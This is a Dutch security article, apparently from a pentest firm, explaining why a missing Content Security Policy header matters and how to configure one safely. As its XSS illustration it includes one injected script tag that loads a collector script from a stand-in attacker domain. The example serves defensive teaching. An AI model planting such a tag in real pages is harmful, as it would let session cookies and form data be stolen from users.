Ontbrekende Content Security Policy
CWE-693CWE-1021OWASP A05:2021Bijgewerkt 3 september 20265 min leestijd
Een Content Security Policy vertelt de browser welke bronnen een pagina mag laden en uitvoeren. Ontbreekt die header, dan accepteert de browser elk script, elk stylesheet en elke verbinding die in de pagina belandt. De CSP voorkomt geen kwetsbaarheden, maar beperkt wél wat een aanvaller met een gevonden gat kan aanrichten.
Een browser is van nature grenzeloos goedgelovig: hij voert elk script uit dat in de pagina staat, ongeacht waar het vandaan komt. Met een Content Security Policy geeft u die goedgelovigheid grenzen. In dit artikel leest u wat de header precies doet, hoe u er zonder productiestoringen een invoert en waarom een slordig opgestelde CSP soms nog schadelijker is dan geen.
Wat is een Content Security Policy?
Een Content Security Policy (CSP) is een HTTP-header waarmee de server aan de browser doorgeeft welke bronnen een pagina mag gebruiken: van welke domeinen scripts en stylesheets mogen komen, waar afbeeldingen vandaan mogen worden gehaald, met welke servers de pagina verbinding mag maken en of de pagina in een frame mag worden gezet. Alles wat niet expliciet is toegestaan, blokkeert de browser.
Vergelijk het met de gastenlijst bij de ingang van een besloten evenement. Zonder lijst laat de portier iedereen binnen die er redelijk uitziet; met een lijst komt alleen binnen wie er daadwerkelijk op staat. De portier controleert dus niet of iemand kwaad wil, hij controleert alleen of iemand er hoort te zijn. Dat onderscheid is precies wat een CSP zo effectief maakt: de browser hoeft kwaadaardige code niet te herkennen, hij hoeft alleen te weten dat die code niet op de lijst staat.
Het is nadrukkelijk een verdedigingslaag, geen oplossing. Een CSP repareert geen kwetsbaarheid in uw code. Hij zorgt ervoor dat een aanvaller die er tóch in slaagt scriptcode in uw pagina te krijgen, daar veel minder mee kan: het script wordt niet uitgevoerd, of het lukt niet om de buitgemaakte gegevens naar een eigen server te versturen.
Hoe werkt een Content Security Policy?
De browser leest het beleid bij het laden van de pagina en houdt zich daar vervolgens bij elke resource aan. Ontbreekt de header, dan geldt er simpelweg geen enkele beperking.
Kwetsbaar:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Er is geen beleid, dus de browser doet wat de pagina hem opdraagt. Slaagt een aanvaller erin om via een niet-ontsnapt invoerveld het volgende in de HTML te krijgen, dan wordt het gewoon uitgevoerd:
<!-- Via een kwetsbaar invoerveld in de pagina beland -->
<script src="https://kwaadaardig.example/verzamel.js"></script>
Het script laadt van een vreemd domein, draait met alle rechten van uw pagina, kan de sessiecookie en de inhoud van formulieren uitlezen en die vervolgens naar de server van de aanvaller sturen. Geen enkele stap daarvan wordt tegengehouden.
Veilig:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nD0mP3rReQu3st';
style-src 'self';
img-src 'self' data:;
connect-src 'self';
frame-ancestors 'none';
object-src 'none';
base-uri 'self';
form-action 'self'
Nu faalt de aanval op meerdere punten tegelijk. Het externe script komt niet van 'self' en mist de nonce, dus de browser weigert het te laden. Zou de aanvaller in plaats daarvan inline JavaScript injecteren, dan strandt dat op dezelfde nonce-eis: hij kan de waarde niet raden, omdat die per verzoek opnieuw wordt gegenereerd. Ook zelfs als er langs een andere weg code zou draaien, beperkt connect-src 'self' waarheen die gegevens mag versturen.
De overige richtlijnen dichten de klassieke omwegen. object-src 'none' sluit verouderde plug-ins uit, base-uri 'self' voorkomt dat een geïnjecteerde <base>-tag alle relatieve paden naar de aanvaller omleidt, form-action 'self' verhindert dat een formulier stiekem elders wordt gepost en frame-ancestors 'none' blokkeert clickjacking. Die laatste vier worden vaak vergeten, juist omdat ze niet van default-src erven.
'unsafe-inline' bij script-src toestaat, biedt tegen cross-site scripting vrijwel geen bescherming meer: precies de injectie die u wilde tegenhouden, wordt daarmee weer toegestaan. Kunt u inline scripts niet direct uitfaseren, gebruik dan nonces of hashes in plaats van die uitzondering.Wat is de impact van een ontbrekende CSP?
Op zichzelf is dit een hardeningbevinding: er is geen kwetsbaarheid die direct te misbruiken valt, en daarom wordt de ernst doorgaans als laag beoordeeld. De impact zit in wat er níet gebeurt op het moment dat het misgaat.
Vindt een aanvaller ergens in uw applicatie een mogelijkheid tot cross-site scripting, dan bepaalt de aanwezigheid van een CSP het verschil tussen een geblokkeerd script en een volledige accountovername. Datzelfde geldt bij een gecompromitteerde externe bibliotheek: zonder script-src-beperking en zonder integriteitscontrole draait de aangepaste code van de leverancier ongehinderd op uw domein. Ook formulierkaping en het injecteren van een <base>-tag zijn zonder beleid triviaal.
Een ontbrekende CSP is bovendien meestal geen op zichzelf staand probleem is. In de praktijk is het een signaal dat de HTTP-headers als geheel niet centraal zijn ingericht, waardoor vaak ook frame-ancestors, X-Content-Type-Options en HSTS ontbreken.
Hoe spoor je een ontbrekende CSP op?
Het vaststellen dát de header ontbreekt is een kwestie van één verzoek bekijken. De inhoudelijke beoordeling is het werk dat ertoe doet, want een aanwezige CSP zegt op zichzelf weinig.
Een tester controleert of het beleid niet met 'unsafe-inline' of 'unsafe-eval' zijn eigen werking ondermijnt, of er geen jokertekens of te ruime domeinen in script-src staan, en of veelvergeten richtlijnen als object-src, base-uri, form-action en frame-ancestors daadwerkelijk zijn gezet. Ook wordt gekeken of nonces per verzoek uniek zijn (een vaste, hergebruikte nonce is functioneel gelijk aan 'unsafe-inline') en of het beleid op alle routes wordt meegestuurd in plaats van alleen op de startpagina. Een veelgemaakte fout is verder een toegestaan CDN dat willekeurige gebruikersbestanden host, waarmee de hele beperking in feite is opgeheven. AssistSec beoordeelt bij een penetratietest niet alleen de aanwezigheid van de header, maar probeert het beleid daadwerkelijk te omzeilen met de bronnen die u zelf hebt toegelaten.
Hoe voorkom je een ontbrekende of zwakke CSP?
- Stuur op elk HTTP-antwoord een
Content-Security-Policy-header mee, centraal geregeld in uw webserver, proxy of middleware. - Begin met
default-src 'self'en breid alleen uit met bronnen die u aantoonbaar nodig hebt. - Voer het beleid eerst in met
Content-Security-Policy-Report-Onlyen een rapportage-endpoint, zodat u overtredingen ziet voordat u iets blokkeert. - Vermijd
'unsafe-inline'en'unsafe-eval'; gebruik per verzoek gegenereerde nonces of hashes voor scripts die inline moeten blijven. - Zet de richtlijnen die niet van
default-srcerven expliciet:object-src,base-uri,form-actionenframe-ancestors. - Sta nooit een heel CDN toe dat door gebruikers geüploade bestanden serveert; dat maakt de beperking betekenisloos.
- Lever de CSP als HTTP-header en niet als meta-tag, omdat een aantal richtlijnen daar wordt genegeerd.
- Controleer het beleid opnieuw na elke wijziging aan de frontend, en houd het rapportage-endpoint actief om regressies te zien.
Bronnen
Veelgestelde vragen
Vervangt een CSP het opschonen van invoer?
Nee, en dat is het meest hardnekkige misverstand rond deze header. Een CSP is een tweede slot op de deur: hij beperkt de schade wanneer er ergens tóch scriptcode in uw pagina belandt. Het correct escapen en valideren van invoer blijft de primaire verdediging tegen cross-site scripting; de CSP vangt op wat daar doorheen glipt.
Kan ik een CSP invoeren zonder mijn site te breken?
Ja. Stuur eerst Content-Security-Policy-Report-Only mee met een rapportage-endpoint. De browser blokkeert dan niets, maar meldt wel elke overtreding. Zo ziet u wekenlang welke bronnen uw applicatie werkelijk gebruikt, waarna u het beleid afdwingt zonder verrassingen.
Is een CSP met alleen default-src self genoeg?
Dat is een sterke basis, maar meestal te streng om ongewijzigd te draaien en tegelijk onvolledig. U mist dan onder meer frame-ancestors, dat clickjacking blokkeert, en object-src, dat verouderde plug-ins tegenhoudt. Beide erven namelijk niet van default-src en moeten apart worden benoemd.
Werkt een CSP ook in een meta-tag?
Grotendeels wel, maar niet volledig: enkele richtlijnen, waaronder frame-ancestors, sandbox en report-uri, worden in een meta-tag genegeerd. Bovendien geldt het beleid pas vanaf het moment dat de browser die tag tegenkomt. Lever een CSP daarom altijd als HTTP-header.
Verwante artikelen
- KwetsbaarhedenCWE-1021A05:2021ClickjackingClickjacking uitgelegd: hoe een aanvaller uw site onzichtbaar in een frame laadt en klikken van uw gebruikers afvangt, en welke headers dat blokkeren.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) laat aanvallers scripts injecteren die in de browser van uw bezoekers draaien. Zo werkt de aanval en zo voorkomt u het.
- KwetsbaarhedenCWE-693A05:2021CSP staat inline scripts en eval toeEen CSP met unsafe-inline of unsafe-eval houdt cross-site scripting niet meer tegen. Lees waarom, en hoe u met nonces en hashes van die uitzonderingen afkomt.
- KwetsbaarhedenCWE-16A05:2021Security misconfigurationSecurity misconfiguration uitgelegd: hoe standaardwachtwoorden, debug-modi en open cloud-buckets aanvallers binnenlaten, en hoe u dit voorkomt.
- KwetsbaarhedenCWE-353A08:2021Externe scripts zonder integriteitscontroleLaadt u JavaScript van een CDN zonder integrity-attribuut, dan draait elke wijziging daar direct op uw site. Lees hoe SRI dat blokkeert.